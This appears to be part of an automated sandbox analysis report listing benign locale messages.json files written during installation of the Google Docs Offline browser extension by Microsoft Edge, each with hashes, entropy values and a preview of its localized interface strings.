Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
